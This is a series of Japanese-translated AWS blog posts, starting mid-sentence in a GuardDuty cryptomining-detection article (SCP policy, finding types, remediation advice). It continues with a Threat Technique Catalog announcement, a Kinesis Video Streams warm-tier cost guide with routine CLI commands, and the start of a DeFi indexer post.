)。たた、そのナヌザヌのアクセスキヌずログむンプロファむルも䜜成したした ( CreateAccessKey 、 CreateLoginProfile )。ナヌザヌにアタッチされた SES ロヌルから刀断するず、脅嚁アクタヌは Amazon Simple Email Service (Amazon SES) を䜿甚したフィッシングを詊みおいた可胜性がありたす。 パブリックな Lambda 関数 URL の䜜成を防ぐために、組織は AuthType が "NONE" の Lambda 関数 URL の䜜成たたは曎新を拒吊するサヌビスコントロヌルポリシヌ (SCP) をデプロむできたす。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Action": [ "lambda:CreateFunctionUrlConfig", "lambda:UpdateFunctionUrlConfig" ], "Resource": "arn:aws:lambda:*:*:function/*", "Condition": { "StringEquals": { "lambda:FunctionUrlAuthType": "NONE" } } } ] } GuardDuty による怜出方法 GuardDuty の倚局怜出アプロヌチは、脅嚁むンテリゞェンス、異垞怜出、および最近リリヌスされた EC2 および ECS 向けの拡匵脅嚁怜出機胜 を䜿甚しお、攻撃チェヌンのすべおの段階を特定するのに非垞に効果的でした。 次に、これらの機胜の詳现ず、このような攻撃を怜出するためにどのようにデプロむできるかを説明したす。本ブログで説明したような暗号通貚マむニングキャンペヌンに関するアラヌトを受け取るには、GuardDuty 基本保護プランを有効にしおください。怜出機胜をさらに匷化するために、 GuardDuty Runtime Monitoring を有効にするこずを匷くお勧めしたす。これにより、Amazon EC2、Amazon ECS、および Amazon Elastic Kubernetes Service (Amazon EKS) のシステムレベルのむベントたで怜出範囲が拡匵されたす。 GuardDuty EC2 の怜出結果 Amazon EC2 の脅嚁むンテリゞェンスの怜出結果は GuardDuty 基本保護プランの䞀郚であり、むンスタンスに関連する疑わしいネットワヌク動䜜に぀いおアラヌトを通知したす。これらの動䜜には、ブルヌトフォヌス攻撃の詊行、悪意のあるドメむンや暗号通貚関連ドメむンぞの接続、その他の疑わしい動䜜が含たれたす。サヌドパヌティの脅嚁むンテリゞェンスず、 アクティブ脅嚁防埡 や MadPot を含む内郚脅嚁むンテリゞェンスを䜿甚しお、GuardDuty は以䞋の怜出結果を通じお本ブログで説明した指暙を怜出したす。( CryptoCurrency:EC2/BitcoinTool.B および CryptoCurrency:EC2/BitcoinTool.B!DNS ) GuardDuty IAM の怜出結果 耇数の戊術カテゎリ (PrivilegeEscalation、Impact、Discovery) にたたがる IAMUser/AnomalousBehavior の怜出結果は、通垞のナヌザヌ動䜜からの逞脱を怜出する GuardDuty の機械孊習機胜を瀺しおいたす。本ブログで説明したむンシデントでは、脅嚁アクタヌが異垞なネットワヌクずロケヌションから認蚌情報を䜿甚し、アカりントにずっお通垞ずは異なる API を呌び出したため、䟵害された認蚌情報が怜出されたした。 GuardDuty Runtime Monitoring GuardDuty Runtime Monitoring は、拡匵脅嚁怜出の攻撃シヌケンス盞関においお重芁なコンポヌネントです。Runtime Monitoring は、オペレヌティングシステムの可芖性などのホストレベルのシグナルを提䟛し、ホストおよびコンテナレベルでの悪意のあるプロセス実行を瀺すシステムレベルのログを分析するこずで怜出範囲を拡匵したす。これには、ワヌクロヌド䞊での暗号通貚マむニングプログラムの実行も含たれたす。 CryptoCurrency:Runtime/BitcoinTool.B!DNS および CryptoCurrency:Runtime/BitcoinTool.B の怜出結果は、暗号通貚関連のドメむンおよび IP ぞのネットワヌク接続を怜出し、 Impact:Runtime/CryptoMinerExecuted の怜出結果は、実行䞭のプロセスが暗号通貚マむニングアクティビティに関連しおいる堎合に怜出したす。 GuardDuty 拡匵脅嚁怜出 AWS re:Invent 2025 でリリヌスされた AttackSequence:EC2/CompromisedInstanceGroup の怜出結果は、 GuardDuty の最新の拡匵脅嚁怜出機胜 の 1 ぀です。この機胜は、AI ず機械孊習アルゎリズムを䜿甚しお、耇数のデヌタ゜ヌスにわたるセキュリティシグナルを自動的に盞関させ、EC2 リ゜ヌスグルヌプの高床な攻撃パタヌンを怜出したす。EC2 の AttackSequence 怜出結果タむプは GuardDuty 基本保護プランに含たれおいたすが、Runtime Monitoring を有効にするこずを匷くお勧めしたす。Runtime Monitoring は、コンピュヌティング環境からの重芁なむンサむトずシグナルを提䟛し、疑わしいホストレベルのアクティビティの怜出ず攻撃シヌケンスの盞関の改善を可胜にしたす。 AttackSequence:ECS/CompromisedCluster の攻撃シヌケンスでは、コンテナレベルのアクティビティを盞関させるために Runtime Monitoring が必芁です。 監芖ず修埩の掚奚事項 同様の暗号通貚マむニング攻撃から保護するために、お客様は匷力な ID およびアクセス管理コントロヌルを培底する必芁がありたす。長期的なアクセスキヌの代わりに䞀時的な認蚌情報を実装し、すべおのナヌザヌに倚芁玠認蚌 (MFA) を適甚し、IAM プリンシパルに最小暩限を適甚しお必芁な暩限のみにアクセスを制限しおください。AWS CloudTrail を䜿甚しお AWS サヌビス党䜓のむベントをログに蚘録し、ログを単䞀のアカりントに集玄するこずで、セキュリティチヌムがアクセスしお監芖できるようにするこずができたす。詳现に぀いおは、CloudTrail ドキュメントの 耇数のアカりントから CloudTrail ログファむルを受信する を参照しおください。 すべおのアカりントずリヌゞョンで GuardDuty が有効になっおおり、包括的なカバレッゞのために Runtime Monitoring が有効になっおいるこずを確認しおください。GuardDuty を AWS Security Hub および Amazon EventBridge たたはサヌドパヌティツヌルず統合しお、自動応答ワヌクフロヌず重倧床の高い怜出結果の迅速な修埩を可胜にしおください。むメヌゞスキャンポリシヌや ECS タスク定矩での異垞な CPU 割り圓おリク゚ストの監芖など、コンテナセキュリティコントロヌルを実装しおください。最埌に、暗号通貚マむニング攻撃に察する具䜓的なむンシデントレスポンス手順を確立しおください。これには、終了保護が有効化されたむンスタンスを凊理するための文曞化された手順が含たれたす。これは、この攻撃者が修埩䜜業を耇雑にするために䜿甚した手法です。 AWS アカりントが暗号通貚マむニングキャンペヌンの圱響を受けたず思われる堎合は、GuardDuty ドキュメントの修埩手順を参照しおください。( 䟵害された可胜性のある AWS 認蚌情報の修埩 、 䟵害された可胜性のある EC2 むンスタンスの修埩 、および 䟵害された可胜性のある ECS クラスタヌの修埩 ) 最新の手法に぀いお最新情報を入手するには、 Threat Technique Catalog for AWS をご芧ください。 本ブログに関するご質問がある堎合は、 AWS サポヌト にお問い合わせください。 Kyle Koeller Kyle は GuardDuty チヌムのセキュリティ゚ンゞニアで、脅嚁怜出に泚力しおいたす。クラりドの脅嚁怜出ずオフェンシブセキュリティに情熱を持ち、CompTIA Security+、PenTest+、CompTIA Network Vulnerability Assessment Professional、SecurityX の認定資栌を保有しおいたす。仕事以倖の時間は、ゞムで過ごしたり、ニュヌペヌク垂を探玢したりするこずを楜しんでいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
本ブログは 2025 幎 6 月 13 日に公開された AWS Blog “ AWS CIRT announces the launch of the Threat Technique Catalog for AWS ” を翻蚳したものです。 AWS Customer Incident Response Team (AWS CIRT) よりお届けしたす。AWS CIRT は、 AWS 責任共有モデル においおお客様偎で進行䞭のセキュリティむベントに察しお、24 時間 365 日䜓制でグロヌバルに察応する Amazon Web Services (AWS) のスペシャリストチヌムです。本日 (2025 幎 6 月 13 日)、AWS は Threat Technique Catalog for AWS の公開を発衚したした。 AWS CIRT がセキュリティ調査䞭にお客様のむンシデント察応を支揎する際、脅嚁アクタヌが AWS のお客様に察しお䜿甚した戊術や技術の皮類に関する AWS サヌビスメタデヌタを収集しおいたす。AWS はこの情報を䜿甚し、 䟵害の痕跡 (IOC) ず脅嚁パタヌンの内郚デヌタセットを構築しおいたす。このデヌタセットにより、脅嚁アクタヌが蚭定䞍備のある AWS リ゜ヌスや過床に蚱可されたアクセスをどのように悪甚しおいるか、たた目的を達成するためにどのような手法を䜿甚しおいるかに぀いおの掞察が埗られたす。 AWS はこのメタデヌタを取埗し、内郚で掻甚しお AWS サヌビスを継続的に改善しおいたす。これにより、脅嚁アクタヌが䞍正なアクションを実行するこずをより困難にし、お客様にずっおより安党なサヌビスを提䟛しおいたす。䟋えば、脅嚁アクタヌが Amazon Bedrock サヌビスを䜿甚しお 倧芏暡蚀語モデル (LLM) を呌び出しおトヌクンを消費したセキュリティむベントの調査で AWS CIRT が取埗したメタデヌタの䞀郚は、 Amazon GuardDuty の IAM Anomalous Behavior 怜出結果 の補完に䜿甚されおいたす。2025 幎初頭に、AWS CIRT は、クラむアント提䟛キヌによるサヌバヌ偎暗号化 (SSE-C) ず呌ばれる暗号化方匏を䜿甚した Amazon S3 でのデヌタ暗号化むベントの増加を特定したした 。AWS CIRT は Threat Technique Catalog for AWS を䜿甚しお、これらのセキュリティむベントで特定された新しい技術を分類し、内郚および他の Amazon セキュリティチヌムず情報を共有したした。 AWS CIRT が芳枬した敵察的な戊術、技術、手順 (TTP) に関する情報が利甚可胜になれば、AWS リ゜ヌスをより安党に蚭定するために掻甚できるため、䟡倀があり圹立぀ずいうフィヌドバックを AWS のお客様からいただいおいたす。過去 1 幎間、AWS は MITRE ず協力しお、これらの技術ずサブテクニックをグロヌバルなセキュリティコミュニティに提䟛できるよう取り組んできたした。この協力の結果、MITRE は 2024 幎 10 月のアップデヌト で、これらの技術の䞀郚を MITRE ATT&CK® に曎新および远加したした (䟋: Data Destruction: Lifecycle-Triggered Deletion )。 「AWS が共有しおくださった掞察に倧倉感謝しおおり、それが MITRE ATT&CK の 2024 幎 10 月リリヌスにおける倚くの技術の改善に぀ながりたした。ATT&CK が最新の脅嚁に察応し続けるためには、゚コシステムに貢献するコミュニティの協力が必芁であり、AWS が ATT&CK コミュニティの䞀員であるこずを高く評䟡しおいたす。」 – MITRE Corporation MITRE ATT&CK プロゞェクトリヌド Adam Pennington 䌁業、団䜓、組織は、オンプレミス環境ぞの脅嚁を理解し、優先順䜍を付け、保護するために ATT&CK を䜿甚しおいたす。AWS は、これらの敵察的な技術を既存のフレヌムワヌクを掻甚しお提瀺するこずで、AWS のお客様ずグロヌバルなセキュリティコミュニティが、AWS CIRT ず同じ方法で AWS むンフラストラクチャ䞊の脅嚁を特定し分類できるようになるず考えおいたす。 MITRE ATT&CK Cloud に基づく Threat Technique Catalog for AWS は、これらの貢献を拡匵し、AWS に固有で AWS CIRT が芳枬した敵察的な技術のカテゎリを含んでいたす。さらに、それらの技術を軜枛する方法ず怜出方法に関する情報も含たれおいたす。䟋えば、Threat Technique Catalog for AWS にアクセスし、アカりント内の AWS サヌビスでフィルタリングしお、環境をより安党にするのに圹立぀コンテンツを確認できたす。 Getting started セクションには、Threat Technique Catalog for AWS を䜿甚するその他の方法が含たれおいたす。AWS は、AWS 環境をより安党にするためのガむドずなるよう、Threat Technique Catalog for AWS を継続的に曎新し、远加の倉曎を提䟛しおいきたす。たた、新しいトレンドの脅嚁アクタヌ技術に぀いお MITRE に情報提䟛するための協力も継続しおいきたす。 このガむドを䜿甚するには、 Threat Technique Catalog for AWS にアクセスしおください。 © 2025 The MITRE Corporation. この著䜜物は The MITRE Corporation の蚱可を埗お耇補・配垃されおいたす。 Steve de Vera Steve は AWS Customer Incident Response Team (CIRT) のマネヌゞャヌで、脅嚁リサヌチず脅嚁むンテリゞェンスを担圓しおいたす。アメリカンスタむルの BBQ に情熱を持ち、BBQ コンテストの公認審査員でもありたす。愛犬の名前は Brisket です。 Cydney Stude Cydney は AWS Customer Incident Response Team (CIRT) のセキュリティ゚ンゞニアで、むンシデント察応ずクラりドセキュリティを専門ずしおいたす。技術的な深さず、耇雑なクラりドの課題に察凊する実践的な経隓を重芖しおいたす。仕事以倖では、サルサダンスやゞャヌマンシェパヌドずの冒険を楜しんでいたす。 Nathan Bates Nathan は Global Services Security のシニアセキュリティ゚ンゞニアです。脆匱性管理、ポリシヌコンプラむアンス、アセット保蚌、むンシデント察応、脅嚁むンテリゞェンスのためのデヌタ、分析、レポヌトサヌビスを専門ずしおいたす。ハむパフォヌマンスドラむビング、レヌシングカヌ、ギタヌ挔奏、音楜制䜜に情熱を持っおいたす。 本ブログは Security Solutions Architect の äž­å³¶ 章博 が翻蚳したした。
本蚘事は 2026幎 1 月 4 日に公開された Optimize long-term video storage costs with Amazon Kinesis Video Streams warm storage tier を翻蚳したものです。翻蚳は゜リュヌションアヌキテクトの垂川 箔 が担圓したした。 はじめに Amazon Kinesis Video Streams は、物理セキュリティおよび監芖組織向けのクラりドベヌスの動画管理においお、匷力な゜リュヌションを提䟛したす。組織には継続的な録画機胜が必芁ですが、埓来のストレヌゞアプロヌチではコストが増加するこずがよくありたす。Kinesis Video Streams は、リアルタむムの動画管理ず短期保存のストレヌゞに優れおおり、広範囲のカメラネットワヌクを持぀゚ンタヌプラむズデプロむメントにサヌビスを提䟛したす。 革新的な Kinesis Video Streams の Warm ストレヌゞ機胜 は、これらの機胜を匷化し、長期的な動画保持のためのコスト効率的な゜リュヌションを提䟛し、組織がストレヌゞ戊略を最適化できるようにしたす。 この投皿では、新しくロヌンチされた Kinesis Video Streams の Warm ストレヌゞ機胜を効果的に䜿甚するこずで、運甚に必芁なパフォヌマンスずアクセシビリティを維持しながら、長期間の動画保持に察しおより費甚効率の高い゜リュヌションを構築する方法を説明したす。 䜕をロヌンチしたのか 2025 幎 11 月 26 日、Amazon Kinesis Video Streams に新しいストレヌゞ Warm 階局が远加され、メディアの長期保持に費甚察効果の高いストレヌゞを提䟛したす。 暙準の Kinesis Video Streams ストレヌゞ珟圚は Hot 階局ずしお指定は、リアルタむムデヌタアクセスず短期間ストレヌゞに最適化されおいたす。新しい Warm 階局により、ストレヌゞコストを削枛しながら、1 秒未満のアクセスレむテンシヌで長期的なメディア保持が可胜になりたす。 お客様のメリット Amazon Kinesis Video Streams の Hot ストレヌゞはリアルタむムストリヌミングに優れおいたすが、芏制遵守では長期間の保持が必芁ずなるこずが倚く、物理セキュリティおよび䌁業向けビデオ監芖のお客様にずっおはコストが高くなるこずがありたす。通垞、ストリヌミングには Kinesis Video Streams の Hot 階局を䜿甚し、その埌デヌタを他のコスト効率の良いストレヌゞに移動しおいたお客様も、䜎コストで Kinesis Video Streams の Warm 階局でメディアを保持できるようになりたした。これによりいく぀かの利点がもたらされたす。(a) お客様は、デヌタ移行を管理するこずなく、よりシンプルなアヌキテクチャを維持でき、運甚オヌバヌヘッドを削枛し、Kinesis Video Streams ゚コシステム内でデヌタにすぐにアクセスできたす。(b) より倧きなデヌタセットが Kinesis Video Streams 内に残るため、お客様はより完党な履歎デヌタの恩恵を受け、ストレヌゞシステム間での断片化を枛らすこずができたす。これにより、連続デヌタストリヌムの凊理が簡単になるこず、時間的分析の可胜性が向䞊するこず、ML/AI モデルトレヌニングが合理化されるこずで、分析機胜が匷化されたす。さらに、Kinesis Video Streams の Warm 階局ストレヌゞぞの取り蟌みは、氞続化されたフラグメント数ごずに料金が蚭定されおいたす。぀たり、開発者はフラグメントサむズを調敎するこずでコストを制埡できたす。フラグメントを倧きくするず取り蟌みコストが削枛され、フラグメントを小さくするずレむテンシヌが䜎䞋したす。この柔軟性により、開発者は特定のナヌスケヌスに最適化できたす。 アヌキテクチャ Amazon Kinesis Video Streams の 階局ストレヌゞアヌキテクチャは、リアルタむムストリヌミング機胜ずコスト最適化された長期ストレヌゞ間のシヌムレスな統合を提䟛したす。このアヌキテクチャは 2 ぀のコンポヌネントで構成されおいたす IoT デバむスやカメラが KVS ゚ンドポむントにビデオデヌタをストリヌミングするビデオ取り蟌み郚分ず、ストレヌゞです。ストレヌゞ階局の遞択はストリヌムの蚭定に基づいお行われ、フラグメントは Hot 階局たたは Warm 階局のいずれかに保存されたす。 このアヌキテクチャの䞻な利点は次のずおりです 統䞀 API : 同じ Amazon Kinesis Video Streams API が䞡方のストレヌゞ階局で動䜜したす シヌムレスな再生 : アプリケヌションはストレヌゞ階局に関係なく動画を取埗できたす 動的な蚭定 : サヌビスの䞭断なしにストレヌゞ階局を倉曎できたす 自動ラむフサむクル: 組み蟌みポリシヌがデヌタ移行ず保持を管理したす コストに関する考慮事項 以䞋の衚は、US East (N. Virginia) リヌゞョンにおける Amazon Kinesis Video Streams の Hot 階局ず Warm 階局の料金䜓系を瀺しおいたす。Warm 階局のストレヌゞ料金は倧幅に削枛される䞀方で、消費コストは䞡方の階局で䞀貫しおいるこずに泚意しおください。Warm 階局ストレヌゞぞのむンゞェストは、GB 単䜍ではなくフラグメント数に基づいお䟡栌蚭定されおおり、長期保持シナリオにおいお予枬可胜なコスト管理を提䟛したす。Warm 階局ストレヌゞには 30 日間の最小保持期間があり、顧客がデヌタを早期に削陀した堎合でも、AWS は最䜎 30 日間分の料金を請求したす。 衚-1 料金ディメンション Kinesis Video Streams の Hot 階局 Kinesis Video Streams の Warm 階局 デヌタ取り蟌み – GB あたり 0.0085 n/a デヌタ取り蟌み – 氞続化フラグメント 1,000 件あたり n/a 0.0100 デヌタストレヌゞ – GB/月あたり 0.0230 0.0125 デヌタ消費 – GB あたり 0.0085 0.0085 デヌタ消費 HLS – GB あたり 0.0119 0.0119 画像抜出 1080 以䞋 – 100 䞇件あたり $ 10 $ 10 画像抜出 1080 より高解像床 – 100 䞇件あたり $ 18 $ 18 Kinesis Video Streams は Amazon Simple Storage Service (Amazon S3) のデヌタストア䞊に構築されおおり、動画デヌタが高い耐久性ず可甚性で保存されるこずを保蚌したす。しかし、保存された動画デヌタぞのアクセス頻床は、䜿甚ケヌスによっお倧きく異なる堎合がありたす。䟋えば、セキュリティコンプラむアンスの目的で CCTV の生デヌタを 30 日間保持する必芁があるシナリオを考えおみたしょう。特別なむベントが発生しない堎合、時間の経過ずずもにレビュヌが必芁なデヌタの頻床やセグメントは枛少したす。 このような状況では、Warm 階局機胜により、ストレヌゞの同じ耐久性ず可甚性を維持しながら、ストレヌゞコストを削枛できたす。 Amazon Kinesis Video Streams の Warm 階局は Amazon S3 Standard-Infrequent Access (S3 Standard-IA) 䞊に構築されおおり、以䞋の利点を提䟛したす。 最倧 67 % のコスト削枛: 暙準的な Amazon Kinesis Video Streams ストレヌゞず比范しお倧幅なコスト削枛 同等の耐久性ず可甚性: 99.999999999 % の耐久性ず 99.9 % の可甚性を保蚌 シヌムレスな統合: 既存の Amazon Kinesis Video Streams ワヌクフロヌず API ずの互換性をサポヌト 自動化されたラむフサむクル管理: 蚭定可胜なポリシヌによる自動化されたデヌタ管理 では、Warm 階局を䜿甚しおコストを最適化する 3 ぀の方法を芋おみたしょう。 1. ストレヌゞ期間に基づくコスト最適化 Warm 階局は、長期保存が必芁なナヌスケヌスでのコスト最適化を目的ずしお蚭蚈されおいたす。 Warm 階局は比范的䜎いストレヌゞコストを提䟛したすが、最小保持期間ずしお 30 日が必芁です。 そのため、短期保存のみが必芁なナヌスケヌスでは、Hot 階局の方がコスト効率が良い堎合がありたす。 実際のコスト分析䟋 1 日 8 時間皌働する 1,000 台の CCTV カメラを怜蚌しおみたしょう 取り蟌み期間: 30 日 ビットレヌト : 4Mbps フラグメント期間: 2 秒 AWS リヌゞョン : us-east-1 リヌゞョン 保存期間に基づくコスト比范 衚-2 [1] 保持期間 (日) 期間あたりのストレヌゞコスト ($) 期間あたりの取り蟌みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot のメリット Hot Warm Hot Warm Hot Warm 7 $ 2,233 $ 5,201 $ 3,586 $ 4,219 $ 5,818.74 $ 9,419 -62 % 15 $ 4,785 $ 5,201 $ 3,586 $ 4,219 $ 8,370.52 $ 9,419 -13 % 30 $ 9,569 $ 5,201 $ 3,586 $ 4,219 $ 13,155.09 $ 9,419 28 % 60 $ 19,138 $ 10,401 $ 3,586 $ 4,219 $ 22,724.25 $ 14,620 36 % 90 $ 28,707 $ 15,602 $ 3,586 $ 4,219 $ 32,293.41 $ 19,821 39 % 䞻芁な発芋 䞊蚘で芋られるように、同じフラグメント長の䞋では、通垞 30 日から始たる長い保持期間においお、Warm 階局のコスト効果がより高くなりたす。 2. フラグメント長に基づくコスト最適化 Warm 階局のもう 1 ぀の革新的な機胜は、埓来の Hot 階局の GB ベヌス課金ではなく、フラグメントベヌス課金です。 この課金アプロヌチでは、フラグメント長を調敎するこずで取り蟌みコストを倧幅に削枛できたす。 以䞋の衚は、フラグメント長が増加した堎合に、Hot 階局ず比范しお Warm 階局の利点がどのように増加するかを瀺しおいたす。 これは 30 日間の保持期間の堎合です。 衚-3 [2] フラグメント長 (秒) 期間あたりのストレヌゞコスト ($) 期間あたりの取り蟌みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot の利点 Hot Warm Hot Warm Hot Warm 2 $ 9,569 $ 5,201 $ 3,586 $ 4,219 $ 13,155.09 $ 9,419 28 % 5 $ 9,569 $ 5,201 $ 3,586 $ 1,687.50 $ 13,155.09 $ 6,888.13 48 % 10 $ 9,569 $ 5,201 $ 3,586 $ 843.75 $ 13,155.09 $ 6,044.38 54 % 20 $ 9,569 $ 5,201 $ 3,586 $ 421.88 $ 13,155.09 $ 5,622.50 57 % 䞻芁な発芋 同じ保持期間の䞋では、フラグメント長が長いほど、Warm 階局の利点が高くなりたす。 以䞋のチャヌトは意思決定チャヌトずしお掻甚できたす。30 日間の保持期間では、フラグメント長が 1.06 秒で Warm 階局が損益分岐点ずなりたす。぀たり、1.06 秒より長いフラグメント長では、Hot 階局よりも Warm 階局の方が総コストが安くなりたす。 60 日間の保持期間では、その損益分岐点は 0.68 秒で発生したす。 3. カメラ解像床によるストレヌゞコスト倉動の理解 フラグメント数ベヌスモデルによる Warm 階局の料金䜓系は、より高いビットレヌトのカメラにコスト䞊のメリットをもたらしたす。5 秒のフラグメントを䜿甚した 1,000 台のカメラの 30 日間のデプロむメントに぀いおは、以䞋の衚の比范をご芧ください。 衚-4 ビットレヌト 期間あたりのストレヌゞコスト ($) 期間あたりの取り蟌みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot のメリット Hot Warm Hot Warm Hot Warm 1Mbps $ 2,392.29 $ 1,300.16 $ 896.48 $ 1,687.50 $ 3,288.77 $ 2,987.66 9 % 2Mbps $ 4,784.58 $ 2,600.31 $ 1,792.97 $ 1,687.50 $ 6,577.55 $ 4,287.81 35 % 4Mbps $ 9,569.16 $ 5,200.63 $ 3,585.94 $ 1,687.50 $ 13,155.09 $ 6,888.13 48 % 10Mbps $ 23,922.89 $ 13,001.57 $ 8,964.84 $ 1,687.50 $ 32,887.74 $ 14,689.07 55 % 䞻芁な発芋 より高いビットレヌトでより倧きなコスト削枛効果 4 Mbps ストリヌムでは 48 % のコスト削枛を達成し、1 Mbps ストリヌムでは 9 % の節玄ずなりたす 䞀貫した取り蟌みコストの優䜍性 Warm 階局の取り蟌みコストはビットレヌトに関係なく 1,687.50 ドルで䞀定ですが、Hot 階局のコストはデヌタ量に比䟋しお増加したす ストレヌゞコストのスケヌリング Warm 階局のストレヌゞコストはビットレヌトに比䟋しおスケヌルしたすが、Hot 階局よりもはるかに䜎い料金です 損益分岐点分析 すべおのビットレヌトシナリオにおいお、長期間の保持に Warm 階局を䜿甚するこずで倧幅なコスト削枛効果が実蚌されたした このフラグメントベヌスの料金モデルにより、デヌタ量の倚い高解像床ビデオコンテンツのストレヌゞず凊理を倧幅にコスト効率良く行うこずができたす。ビデオの品質ずビットレヌトが高いほど、Warm 階局ストレヌゞを利甚した際のコスト䞊の優䜍性がより顕著になりたす。 ストレヌゞ階局の蚭定 既存のストリヌムのストレヌゞ期間蚭定は簡単に曎新でき、蚭定は曎新埌に収集されたフラグメントに即座に適甚されたす。 以䞋は、Amazon Kinesis Video Streams で Warm 階局ストレヌゞのストリヌムを曎新たたは䜜成するための AWS CLI コマンドです。 ストレヌゞ蚭定の曎新: Hot 階局に既存のストリヌムがある堎合は、次のようにストリヌム蚭定を Warm 階局に曎新できたす。 STREAM_INFO =$(aws kinesisvideo describe-stream \ --stream-name "$ STREAM_NAME" \ --region $ REGION) CURRENT_VERSION =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.Version') aws kinesisvideo update-stream-storage-configuration \ --stream-name "$ STREAM_NAME" \ --current-version "$ CURRENT_VERSION" \ --stream-storage-configuration DefaultStorageTier ="WARM" \ --region $ REGION Warm 階局でのストリヌムの䜜成 次のコマンドを䜿甚しお、新しい Warm 階局ストリヌムを䜜成できたす。 aws kinesisvideo create-stream \ --stream-name $ STREAM_NAME \ --media-type "video/h264" \ --data-retention-in-hours 720 \ --stream-storage-configuration '{ "DefaultStorageTier": "WARM" }' \ --region  $ REGION 䜜成されたストリヌムのストレヌゞ期間蚭定は簡単に倉曎でき、蚭定は倉曎埌に収集されるフラグメントに即座に適甚されたす。 ストレヌゞ蚭定の倉曎が適甚されおも、ストリヌムの再生は䞭断されたせん。 クリヌンアップ 継続的な料金を避けるために、このりォヌクスルヌで䜜成したテストストリヌムを必ず削陀しおください。ストリヌムを削陀するず、ストレヌゞ 階局の蚭定に関係なく、保存されおいるすべおの動画デヌタが完党に削陀されるこずを芚えおおいおください。 ストリヌムの削陀: STREAM_INFO =$(aws kinesisvideo describe-stream \ --stream-name "$ STREAM_NAME" \ --region $ REGION) STREAM_ARN =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.StreamARN') CURRENT_VERSION =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.Version') aws kinesisvideo delete-stream \ --stream-arn "$ STREAM_ARN" \ --current-version "$ CURRENT_VERSION" \ --region $ REGION 重芁な泚意事項 ストリヌムの削陀は元に戻すこずができず、関連するすべおの動画デヌタが削陀されたす Hot ず Warm 䞡方の 階局のデヌタが完党に削陀されたす 削陀前に重芁な動画デヌタをバックアップしおおくこずを確認しおください 削陀プロセスが完了するたで数分かかる堎合がありたす たずめ Amazon Kinesis Video Streams の 階局ストレヌゞ機胜は、動画デヌタ管理においおコスト効率的なアプロヌチを提䟛したす。 この機胜により、組織は運甚䞊の優秀性を維持しながら、ストレヌゞコストを倧幅に削枛できたす。これらのコストは、フラグメントの長さ、保持期間、解像床ビットレヌトずいう 3 ぀の倉数をコントロヌルするこずで管理できたす。(a) 同じフラグメント長の条件䞋では、Warm 階局のコストメリットは、通垞 30 日から始たる、より長い保持期間においお高くなりたす。(b) 同じ保持期間の条件䞋では、Warm 階局のメリットは、より長いフラグメント長においお高くなりたす。(c) 同じフラグメント長ず保持期間の条件䞋では、ビットレヌトが増加するに぀れお、Warm 階局のコストメリットが高くなりたす。 実装を成功させるカギは、組織固有のアクセスパタヌン、保持芁件、コスト最適化目暙を正確に理解するこずです。 重芁でないストリヌムでパむロット実装から始め、結果を監芖し、ビデオむンフラストラクチャ党䜓に段階的に拡匵しおください。 Kinesis Video Streams 階局ストレヌゞは、単なるコスト削枛ツヌルではありたせん。 ビデオ察応 IoT アプリケヌションの持続可胜な成長を経枈的に実珟可胜にする戊略的なむネヌブラヌです。 次のステップ Kinesis Video Streams 階局ストレヌゞを䜿甚しお、ビデオ゜リュヌションのコストを最適化する準備はできおいたすか 以䞋が進むべき道筋です Amazon Kinesis Video Streams ドキュメント Amazon Kinesis Video Streams 階局ストレヌゞ Amazon Kinesis Video Streams 料金 GB/月あたりのコストは次のように蚈算されたす:リヌゞョン別ストレヌゞコスト (GB あたり) * 総容量 (GB)/日 * カメラ数 * ストレヌゞ期間 (日)。Warm ティアの堎合、ストレヌゞ期間が 30 日未満の堎合、コストは 30 日レヌトで固定されたす。 ↑ 月次取り蟌みコストは次のように蚈算されたす: Hot ティア月次取り蟌みコスト: 月次取り蟌みコスト (GB) * ビットレヌト ÷ 8 (バむトに倉換) × 日次収集期間 (時間) × 3600 (秒に倉換) ÷ 1024 (GB に倉換) × カメラ数 × ストレヌゞ期間 (日) Warm ティア月次取り蟌みコスト: 月次取り蟌みコスト (GB) × 日次収集期間 (時間) × 3600 (秒に倉換) ÷ フラグメント長 (秒) ÷ 1000 (課金単䜍) × カメラ数 × ストレヌゞ期間 (日) ↑ 著者に぀いお Andre Sacaguti Andre Sacaguti は AWS のシニアプロダクトマネヌゞャヌずしお、Kinesis Video Streams を担圓しおいたす。組織が動画デヌタを実甚的なむンサむトに倉換するこずを支揎し、AI ゚ヌゞェントがストリヌミング動画をよりスマヌトでむンタラクティブにする方法を探求しおいたす。AWS 入瀟前は、T-Mobile ず Qualcomm で IoT 補品の開発ずロヌンチを行い、コネクテッドデバむスをよりスマヌトか぀安党に機胜させるこずに貢献したした。 Jinseon Lee Jinseon Lee は AWS APJ で IoT ずロボティクスを専門ずするシニア IoT GTM ゜リュヌションアヌキテクトです。テクノロゞヌず゜フトりェア開発においお 12 幎以䞊の経隓を持ち、Jinseon はクラむアントが最適なクラりドアヌキテクチャを蚭蚈・実装できるよう、倚様な圹割で支揎しおきたした。
分散型金融 (DeFi) の取匕刀断には、ブロックチェヌンの䟡栌ず流動性デヌタが必芁です。 しかし、ブロックチェヌンノヌドぞの盎接ク゚リは非効率的でリ゜ヌスを倧量に消費するため、タむムリヌな意思決定のボトルネックずなりたす。 ブロックチェヌンは効率的なデヌタク゚リに最適化されおおらず、デヌタは順次 (ブロックごずに) 保存されおいたす。 特定の情報を取埗するには、倚くの堎合、ブロックチェヌン党䜓をスキャンする必芁がありたす。 むンデクサヌは、この問題に察する゜リュヌションを提䟛したす。 むンデクサヌは新しいブロックずトランザクションを監芖し、最適化されたセカンダリデヌタベヌス (リレヌショナルデヌタベヌスなど) にデヌタを保存するように蚭蚈できたす。 これらのデヌタベヌスには、アプリケヌションが盎接ク゚リできる盎接アクセス甚のむンデックスが含たれおいたす。 むンデクサヌは、ブロックチェヌンぞの盎接ク゚リず比范しお高速な応答時間を提䟛し、過去および珟圚のブロックチェヌンデヌタぞの効率的なアクセスにより、DeFi アプリケヌションのナヌザヌ䜓隓を向䞊させたす。 ブロックチェヌンむンデクサヌは広く利甚可胜ですが、既存の゜リュヌションがブロックチェヌンや必芁なデヌタをサポヌトしおいない堎合、AWS 䞊にカスタムむンデクサヌを構築する必芁がありたす。 